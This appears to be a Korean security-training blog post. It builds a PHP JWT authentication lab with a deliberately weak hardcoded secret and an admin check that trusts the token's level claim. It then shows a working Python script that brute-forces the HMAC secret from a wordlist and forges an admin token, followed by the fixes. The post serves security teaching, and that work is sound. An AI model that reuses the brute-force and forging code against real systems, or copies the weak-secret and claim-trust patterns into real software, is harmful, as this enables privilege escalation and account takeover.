개요
본 글에서는 JWT 기반 인증 시스템에서 발생할 수 있는 취약점을 분석하고, Payload 변조 및 서명 검증 우회 시나리오를 통해
권한 탈취가 가능한 구조를 구현 및 검증하였다.
공격 시나리오 요약
- 공격자는 정상 사용자로 로그인하여 JWT를 획득한다.
- JWT의 Header와 Payload를 Base64 디코딩하여 구조를 확인한다.
- 공격자는 Secret Key가 약하다고 가정하고 Brute Force 공격을 수행한다.
- Secret Key를 알아낸 후 Payload의 role 값을 "admin"으로 변경한다.
- 탈취한 Secret Key로 새로운 Signature를 생성한다.
- 변조된 JWT를 이용하여 관리자 권한으로 접근한다.
JWT
JWT(JSON Web Token)는 웹 애플리케이션에서 인증(Authentication)을 위해 널리 사용되는 토큰 기반 인증 방식이다.
JWT는 Header, Payload, Signature로 구성되며, 서명 검증이 제대로 이루어지지 않을 경우 Payload 변조가 가능하다.
JWT 토큰 기반 인증 구현
본 실습에서는 JWT의 구조와 검증 원리를 이해하기 위해 라이브러리에 의존하지 않고 토큰 생성 및 검증 로직을 직접 구현하였다.
인증 흐름은 다음과 같다.
JWT 인증 구조
- 사용자가 로그인에 성공하면 서버는 Header와 Payload를 구성하고, secret key 값을 이용해 HMAC-SHA256 서명을 생성하여 JWT를 발급한다.
- 발급된 JWT는 쿠키에 저장되며, 이후 요청마다 서버로 전달된다.
- 서버는 요청 시 전달된 JWT를 세 부분(Header, Payload, Signature)으로 분리한 뒤, 동일한 secret key로 서명을 다시 계산하여 위조 여부를 검증한다.
- 검증이 완료되면 Payload를 해석하여 사용자 식별 정보를 확인하고, 필요한 경우 관리자 페이지 접근 제어에 사용한다.
초기 구현에서는 사용자 식별과 화면 표시 편의를 위해 num, id, name, level 값을 Payload에 포함하였다.
그러나 이후 취약점 분석에서 확인하듯, 이 중 level과 같은 권한 정보는 토큰 자체만으로 신뢰할 경우 권한 상승 취약점으로 이어질 수 있다.
base64 인코딩/디코딩
base64_decode.php
<?php
function base64url_encode(string $data): string {
// 일반적인 변형은 'URL 경로 세그먼트'나 '쿼리 매개변수'에서 문제를 일으킬 수 있는 문자를 피하기 위해 패딩을 생략하고 '+/'를 '-_'로 바꾸는 "Base64 URL 안전"
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
function base64url_decode(string $data): string {
return base64_decode(strtr($data, '-_', '+/')); // 인코딩 때 '+/' -> '-_' 이렇게 바꾸었으니 디코딩은 역으로 수행
}
$secret = 'my-secret-key';
?>
JWT는 URL 및 HTTP Header 환경에서 안전하게 전달될 수 있도록 일반 Base64가 아닌 Base64URL 인코딩 방식을 사용한다.
Base64URL 인코딩은 다음과 같은 특징을 가진다.
+ → -
/ → _
패딩 문자 '=' 제거
이를 통해 URL이나 쿠키에서 안전하게 토큰을 전달할 수 있다.
본 실습에서는 JWT의 Header와 Payload를 Base64URL 형식으로 인코딩 및 디코딩하기 위한 함수를 직접 구현하였다.
로그인
사용자가 로그인에 성공하면 서버는 사용자 정보를 기반으로 JWT Payload를 생성한다.
본 실습에서는 다음과 같은 정보를 Payload에 포함하였다.
- num : 사용자 고유 번호
- id : 사용자 ID
- name : 사용자 이름
- level : 사용자 권한 수준
Payload 생성 후 서버는 Header와 Payload를 Base64URL 인코딩하고 secret key 값을 이용하여 HMAC-SHA256 방식으로 Signature를 생성한다.
이 세 값을 .으로 연결하여 최종 JWT를 생성하고 쿠키에 저장하여 클라이언트에 전달한다.
다만 Payload에 권한 정보(level)를 포함하는 설계는 이후 취약점 분석에서 확인하듯이 보안상 문제가 될 수 있다.
/member/login.php
<?php
include "../include/base64_dencode.php";
function create_jwt(array $payload, string $secret): string {
$header = ['alg' => 'HS256', 'typ' => 'JWT'];
$header_encoded = base64url_encode(json_encode($header)); // 헤더 부분 생성
$payload_encoded = base64url_encode(json_encode($payload)); // 페이로드 부분 생성
// 시그니처 만들기
$signature = hash_hmac('sha256', "$header_encoded.$payload_encoded", $secret, true);
$signature_encoded = base64url_encode($signature);
return "$header_encoded.$payload_encoded.$signature_encoded"; // 헤더 + 페이로드 + 시그니처를 붙여 생성한 JWT 토큰을 반환
}
$id = $_POST["id"];
$pass = $_POST["pass"];
include "../include/db_connect.php";
if(isset($id) && isset($pass)) {
$stmt = $con->prepare("SELECT * from _mem WHERE id = ?");
$stmt->bind_param('s', $id);
$stmt->execute();
$result = $stmt->get_result(); // 쿼리결과
$num_match = mysqli_num_rows($result); // 쿼리결과는 0개 아니면 1개
$row = mysqli_fetch_assoc($result); // 쿼리 결과 컬럼 추출
if($row && password_verify($pass, $row['pass'])) {
if($num_match == 1) { // ID, PASS 맞음
$token = create_jwt([ // JWT 토큰생성
'num' => $row["num"],
'id' => $row["id"],
'name' => $row["name"],
'level' => $row["level"]
], $secret);
$expiration = time() + (86400 * 1); // 1일 동안 유효한 쿠키
// setcookie('jwt', $token, $expiration, '/');
setcookie(
'jwt',
$token,
[
'expires' => $expiration,
'path' => '/',
'secure' => false, // HTTPS 환경이면 true
'httponly' => true,
'samesite' => 'Strict'
]
);
echo "<script>
location.href = './main.php';
</script>";
}
}
(로그인 입력 정보 불일치 시 로그인 실패 처리로직)
?>
JWT 검증 로직
서버는 클라이언트 요청에 포함된 JWT를 검증하여 토큰이 위조되지 않았는지 확인한다.
검증 과정은 다음과 같다.
- JWT를 .을 기준으로 분리하여 Header, Payload, Signature로 나눈다.
- Header와 Payload를 이용해 서버의 secret key 값으로 새로운 HMAC-SHA256 서명을 생성한다.
- 생성된 서명과 전달된 Signature를 비교하여 위조 여부를 확인한다.
- Payload의 exp 값을 확인하여 토큰 만료 여부를 검증한다.
서명 비교 시 단순 문자열 비교 대신 hash_equals() 함수를 사용하여 타이밍 공격을 통한 비교 우회 가능성을 줄였다.
/include/verify_jwt.php
<?php
include "base64_dencode.php";
function verify_jwt(string $jwt): ?array {
global $secret;
$parts = explode('.', $jwt);
if(count($parts) != 3){
return null;
}
[$header_b64, $payload_b64, $signature_b64] = $parts;
$signature_check = base64url_encode(
hash_hmac('sha256', "$header_b64.$payload_b64", $secret, true)
);
if(!hash_equals($signature_check, $signature_b64)){
echo "<script>alert('위조된 토큰'); history.back();</script>";
return null;
}
$payload = json_decode(base64url_decode($payload_b64), true);
if(!$payload){
return null;
}
if(isset($payload['exp']) && time() >= $payload['exp']){
return null;
}
return $payload;
}
$token = $_COOKIE['jwt'];
$data = verify_jwt($token); // 토큰값 검증
관리자 페이지
관리자 인덱스 페이지
/admin/index.php
<?php
include "../include/db_connect.php";
include "../include/verify_jwt.php";
$data = verify_jwt($_COOKIE['jwt']);
/* 취약한 구현 */
if(!isset($data['level']) || $data['level'] != 9){
echo "<script>location.href = './login_form.php'</script>";
exit;
}
?>
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<title>관리자 페이지</title>
</head>
<body>
<h2>관리자 페이지</h2>
<ul>
<li><a href="user_list.php">회원 관리</a></li>
<li><a href="board_list.php">게시판 관리</a></li>
<li><button class="btn btn-secondary" onclick="location.href='../member/logout.php'">로그아웃</button></li>
</ul>
</body>
</html>
현재 사용자가 관리자인지 검증
관리자 페이지 접근 제어는 JWT Payload 내부의 level 값을 기준으로 판단하도록 구현하였다.
level 값이 9인 경우 관리자 권한을 가진 사용자로 판단하고 관리자 페이지 접근을 허용한다.
그러나 이러한 방식은 서버가 클라이언트가 보유한 JWT Payload의 권한 정보를 그대로 신뢰한다는 문제를 가진다.
즉 권한 검증을 서버의 신뢰 가능한 저장소(DB)가 아니라 클라이언트 토큰에 의존하게 되며, 토큰이 위조될 경우 권한 상승 공격이 발생할 수 있다.
/admin/admin_check.php
<?php
include "../include/verify_jwt.php";
$data = verify_jwt($_COOKIE['jwt']);
if(!isset($data['level']) || $data['level'] != 9){
echo "<script>alert('관리자 전용 페이지입니다.'); history.back();</script>";
exit;
}
회원 관리
회원 정보를 관리할 수 있는 페이지다.
이 페이지에서 관리자 권한을 가진 사용자는 회원 정보를 삭제할 수 있다.
/admin/user_list.php
<?php
include "../include/db_connect.php";
include "admin_check.php";
$stmt = $con->prepare("SELECT num, id, name, email, level FROM _mem ORDER BY num ASC");
$stmt->execute();
$result = $stmt->get_result();
function generateCSRFToken() {
if(!isset($_SESSION['csrf_token'])) { // 요청마다 CSRF 토큰 갱신
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token; // CSRF 토큰을 세션에 등록
}
return $_SESSION['csrf_token'];
}
?>
<h2>회원 관리</h2>
<table>
<tr><th>번호</th><th>아이디</th><th>이름</th><th>이메일</th><th>레벨</th><th>프로필</th><th>관리</th></tr>
<?php while($row = $result->fetch_assoc()) {?>
<tr>
<td><?=$row['num']?></td>
<td><?=$row['id']?></td>
<td><?=$row['name']?></td>
<td><?=$row['email']?></td>
<td><?=$row['level'] == 9 ? '관리자': '유저'?></td>
<td>
<?php if($row['level'] != 9) {?>
<!-- <a href="user_delete.php?num=<?=$row['num']?>" onclick="return confirm('정말 삭제하시겠습니까?')">삭제</a> -->
<form action="user_delete.php?num=<?=$row['num']?>" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo generateCSRFToken(); ?>">
<button type="submit">삭제</button>
</form>
<?php } ?>
</td>
</tr>
<?php } ?>
</tr>
</table>
회원 정보 삭제
/admin/user_delete.php
<?php
include "../include/db_connect.php";
include "admin_check.php";
$num = $_GET['num'];
$csrf_token = $_POST["csrf_token"]; // POST 메시지로 CSRF 토큰 받음
// CSRF 토큰 검증
function validateCSRFToken($token) {
return isset($_SESSION['csrf_token']) && ($_SESSION['csrf_token'] === $token); // CSRF 토큰이 세션에 등록되어 있는지, POST로 받은 CSRF 토큰이 세션에 등록되어있는 CSRF 토큰과 같은지 확인
}
if(!validateCSRFToken($csrf_token)) {
http_response_code(403);
exit('Invalid CSRF token');
}
$stmt = $con->prepare("SELECT 1 FROM _mem WHERE num = ?");
$stmt->bind_param('i', $num);
$stmt->execute();
$stmt->store_result();
$row_count = $stmt->num_rows;
if($row_count > 0){
$stmt = $con->prepare("DELETE FROM _mem WHERE num = ?");
$stmt->bind_param('i', $num);
$stmt->execute();
echo "<script>alert('사용자 데이터가 삭제되었습니다.');location.href='user_list.php';</script>";
} else {
echo "<script>alert('사용자가 없습니다.');location.href='user_list.php';</script>";
}
취약점 분석
취약점 포인트
본 구현에서는 JWT Signature 검증은 수행되지만, 사용되는 Secret Key가 충분히 복잡하지 않은 경우를 가정한다.
이 경우 공격자는 토큰을 획득한 후, Secret Key를 추측(Brute Force 또는 사전 공격)하여 유효한 Signature를 생성할 수 있다.
/include/base64_dencode.php
$secret = 'my-secret-key';
- 너무 취약한 secret key 값
/admin/admin_check.php
if(!isset($data['level']) || $data['level'] != 9){
echo "<script>alert('관리자 전용 페이지입니다.'); history.back();</script>";
exit;
}
- JWT 토큰의 level 값을 그냥 신뢰한다.
이 취약점은 JWT Claim Trust 또는 Authorization Logic Flaw로 분류된다.
JWT Payload에 포함된 권한 정보를 서버가 그대로 신뢰할 경우, 공격자는 Payload를 조작하여 권한 상승(Privilege Escalation)을 수행할 수 있다.
JWT는 사용자 인증(Authentication)을 위한 토큰이며, 권한 검증(Authorization)을 위한 신뢰 가능한 데이터 저장소가 아니다.
1. Weak Secret 취약점
JWT 서명에 사용되는 secret key 값이 단순하고 예측 가능할 경우
공격자는 Brute-force 공격을 통해 secret key 값을 추측할 수 있다.
다음과 같은 환경에서는 공격이 가능하다.
- JWT 알고리즘: HS256
- secret key 값이 약함
ex)
secret = 123456
secret = password
secret = board_secret
이처럼 짧거나 일반적인 문자열을 secret key로 사용하는 경우 Brute-Force 공격이 가능하다.
2. JWT Claim Trust 취약점
서버가 JWT Payload 내부의 권한 정보(level)를
검증 없이 그대로 신뢰하는 구조이다.
이 두 취약점이 결합될 경우 공격자는 다음과 같은 공격이 가능하다.
- JWT 서명 secret key 값을 Brute-force로 추측
- Payload의 권한 정보(level)를 관리자 값으로 수정
- 새로운 JWT를 생성하여 관리자 권한 획득
취약점 영향
- 공격자가 Secret Key를 획득할 경우 임의의 사용자로 위조 가능
- 관리자 권한 탈취 가능
- 인증 시스템 전체 신뢰 붕괴 가능
공격 시나리오
공격은 다음과 같은 단계로 진행된다.
- 기존 JWT 토큰 획득
- Secret Key 추측 (예: "1234", "secret" 등) 및 Brute-force
- Payload 변경 후 새로운 Signature 생성
- 변조된 JWT로 인증 우회 확인
1. 기존 JWT 토큰 획득
예를 들어 일반 사용자 토큰의 Payload가 다음과 같다고 가정한다.
{
"num": 1,
"id": "user",
"name": "test",
"level": 1
}
공격자는 level 값을 관리자 권한 값인 9로 수정한다.
{
"num": 1,
"id": "user",
"name": "test",
"level": 9
}
- 이후 수정된 Payload와 동일한 secret key 값을 사용하여 새로운 Signature를 생성한다.
- 이렇게 생성된 JWT를 서버에 전송하면 서버는 서명이 정상적으로 검증되었다고 판단하고 관리자 권한을 허용하게 된다.
2. Secret Key 추측 (예: "1234", "secret" 등) 및 Brute-force
일반 사용자로 로그인하여 샘플로 사용할 JWT 토큰 값을 얻어낸다.

jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJudW0iOjMsImlkIjoiMWMyNjQ5Mzk0IiwibmFtZSI6Ilx1YzgxNVx1YzIxY1x1ZDYzOCIsInB1YmxpY19pZCI6ImMxYTg2YjViMzEiLCJsZXZlbCI6MX0.RiWukbyU-F1ezXxcr5Dpt3U5TjM6HbslaEmiLyz3g4k
토큰을 Base64 디코딩 한다.
{"alg":"HS256","typ":"JWT"}{"num":3,"id":"1c2649394","name":"\\uc815\\uc21c\\ud638","public_id":"c1a86b5b31","level":1}�k�o%>W�_+�:m�NS�·n�Zh��=��
- Header : 해시 알고리즘은 HS256, 타입은 JWT로 기본적인 헤더 값으로 들어가 있다.
- Payload : 에는 아이디, 이름, 회원 번호, 회원 레벨이 들어가 있다.
- signature는 Header와 Payload를 해시한 값이다.
secret key 값 Brute-force Script
다음 스크립트는 JWT 토큰의 Header와 Payload를 유지한 상태에서 여러 후보 secret key 값을 이용해 HMAC-SHA256 서명을 반복 계산하여 기존 Signature와 일치하는 값을 찾는 Brute-force 공격을 수행한다.
서명이 일치하는 secret key 값을 찾을 경우 공격자는 해당 secret을 이용하여 임의의 Payload를 가진 JWT 토큰을 생성할 수 있다.
import hmac
import hashlib
import base64
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJudW0iOjEsImlkIjoidXNlciIsIm5hbWUiOiJcdWM3NzRcdWNjNDRcdWM2MDEiLCJsZXZlbCI6OX0.IROzlixgbWJIgiG95w8JiFXv7aPMEttfMWJp_-sUvCk"
header_payload, signature = token.rsplit('.',1)
with open("wordlist.txt") as f:
for secret in f:
secret = secret.strip()
new_sig = hmac.new(
secret.encode(),
header_payload.encode(),
hashlib.sha256
).digest()
new_sig = base64.urlsafe_b64encode(new_sig).decode().rstrip("=")
if new_sig == signature:
print("SECRET FOUND:", secret)
break
결과 출력:
SECRET FOUND: my-secret-key
3. Payload 변경 후 새로운 Signature 생성
import jwt
payload = {
"num":1,
"id":"user",
"name":"\\uc774\\ucc44\\uc601",
"level":9
}
token = jwt.encode(payload, "my-secret-key", algorithm="HS256")
print(token)
# {"alg":"HS256","typ":"JWT"}{"num":1,"id":"user","name":"\\uc774\\ucc44\\uc601","level":9}
# 헤더는 PyJWT 라이브러리가 기본값(Default)으로 자동 생성하는 것
- 기존 일반 사용자로 로그인 했을 때 받은 Payload 값에서 level 값을 9로 설정한다.
- 앞서 Brute-force로 알아낸 secret key 값을 기반으로 JWT 토큰 값을 새로 생성한다.
- 새로 생성한 토큰으로 관리자 기능에 접속을 시도한다.
4. 변조된 JWT로 인증 우회 확인
위조한 JWT 토큰 값으로 관리자 페이지 접속 시도

브라우저에서 접속해보자.

취약점 성립 조건
본 공격이 성공하기 위해서는 다음 조건이 필요하다.
- JWT 서명 알고리즘이 HS256 (HMAC 기반)일 것
- secret key 값이 약하거나 예측 가능한 문자열일 것
- 서버가 JWT Payload의 권한 정보를 신뢰할 것
취약점 대응 방안
1. Secret값 복잡도 설정(가장 중요)
JWT 토큰은 서버 사이드에서 서명(signature) 검증을 통해 유효성을 확인한다.
Payload는 누구나 알 수 있는 공개 정보여도 되고 원래 그런 정보를 최소한으로 넣는것이 원칙이나,
secret key 값이 유출되는 것은 필히 방지해야 한다.
따라서 secret key 값을 공격자가 Brute-force 등으로 알아낼 수 없도록 충분한 복잡도를 가진 값으로 설정해야 한다.
secret key 값 생성하는 Python 코드
import secrets
# 32바이트(256비트) 보안성 확보
secret_key = secrets.token_hex(32)
print(secret_key)
- secrets 라이브러리는 : 암호, 토큰, 인증 키 등 보안이 중요한 데이터를 처리할 때 암호학적으로 안전한(cryptographically strong) 난수를 생성하는 표준 모듈
출력 예시
31af06226d438ad2f63f8186cdbe1b3cd83613e2a57baaa4530f861283d0e94f
- secret값은 32바이트(256비트) 이상으로 늘리는 것을 강력하게 권장한다.
- JWT에서 가장 흔히 사용하는 서명 알고리즘은 HS256(HMAC with SHA-256)이다. 이 알고리즘은 이름에서 알 수 있듯이 256비트(32바이트) 길이의 키를 사용할 때 가장 안전하도록 설계되었다.
- 16바이트: 128비트 보안 수준
- 32바이트: 256비트 보안 수준 (업계 표준 및 권장 사항)
2. 권한 검증은 반드시 서버 DB에서 수행할 것
JWT는 인증(Authentication)을 위한 토큰으로 사용되는 수단이다.
권한 결정과 같은 중요한 인가(Authorization) 판단을 JWT 토큰의 Payload 안의 요소 값 만으로 수행하는 것은 위험하다.
권한 검증은 반드시 서버 측의 신뢰 가능한 데이터 저장소(DB 등)를 기준으로 수행해야 한다.
따라서 JWT Payload에는 최소한의 사용자 식별 정보만 포함하고 권한 정보는 서버에서 별도로 조회하여 검증하는 것이 바람직하다.
JWT는 인증(Authentication) 용도이지 권한(Authorization) 용도가 아니다.
현재 구조 (취약)
JWT → level 확인(level이 9면 관리자) → 관리자
if(!isset($data['level']) || $data['level'] != 9){
echo "<script>alert('관리자 전용 페이지입니다.'); history.back();</script>";
exit;
}
안전한 구조
- JWT → 사용자 식별
- DB 조회 → 권한 확인
실제 코드 수준 방지
$data = verify_jwt($_COOKIE['jwt']);
if(!$data){
exit;
}
$user_num = $data['num']; // 회원 번호
$stmt = $con->prepare("SELECT level FROM _mem WHERE num = ?");
$stmt->bind_param("i",$user_num);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();
if($row['level'] != 9){
echo "<script>alert('관리자 전용 페이지입니다.'); history.back();</script>";
exit;
}
이렇게 하면
- JWT payload 조작 → 의미 없음
- 왜냐하면 권한은 DB 기준이기 때문이다.
3. JWT Payload 최소화
로그인 로직 부분을 다시보자.
login.php
if($num_match == 1) { // ID, PASS 맞음
$token = create_jwt([ // JWT 토큰생성
'num' => $row["num"],
'id' => $row["id"],
'name' => $row["name"],
'public_id' => $row["public_id"],
'level' => $row["level"]
], $secret);
JWT Payload에는 최소한의 정보만 저장해야 한다.
현재 구현에서는 다음 정보가 포함되어 있다.
num
id
name
public_id
level
이 중 권한 정보(level)는 JWT에 저장하지 않는 것이 바람직하다.
권한 정보는 서버 DB에서 조회하도록 구현해야 한다.
수정된 login.php
if($num_match == 1) { // ID, PASS 맞음
$token = create_jwt([ // JWT 토큰생성
'num' => $row["num"],
'id' => $row["id"],
'name' => $row["name"],
'public_id' => $row["public_id"],
], $secret);
4. 추가적 보안 설정들
- JWT secret key 관리
- secret key 값은 코드에 하드코딩하지 않고 환경 변수 또는 별도의 비밀 관리 시스템을 통해 관리한다.
- Token Expiration 관리
- JWT에는 exp, iat 등의 표준 Claim을 포함하여 토큰 유효 시간을 제한해야 한다.
- Cookie 보안 옵션 적용
- HttpOnly
- Secure
- SameSite
- JWT 쿠키에는 다음과 같은 옵션을 설정한다.
- Token Revocation 전략따라서 짧은 만료 시간 설정, Refresh Token 구조, 또는 블랙리스트 관리 등의 전략을 고려해야 한다.
- JWT는 서버가 상태를 저장하지 않는 구조이기 때문에 탈취 된 토큰을 즉시 폐기하기 어렵다.
'Normaltic 취업반 > 인증 및 인가 취약점' 카테고리의 다른 글
| CTF 풀이 - Authentication Bypass (0) | 2026.03.20 |
|---|---|
| 권한 상승 취약점 구현 시나리오 (0) | 2026.03.20 |
| 비밀번호 변경 토큰 취약점 (0) | 2026.03.20 |
| 인증/인가 취약점 (0) | 2026.03.20 |
| CTF 풀이 - Authentication Bypass (0) | 2025.11.14 |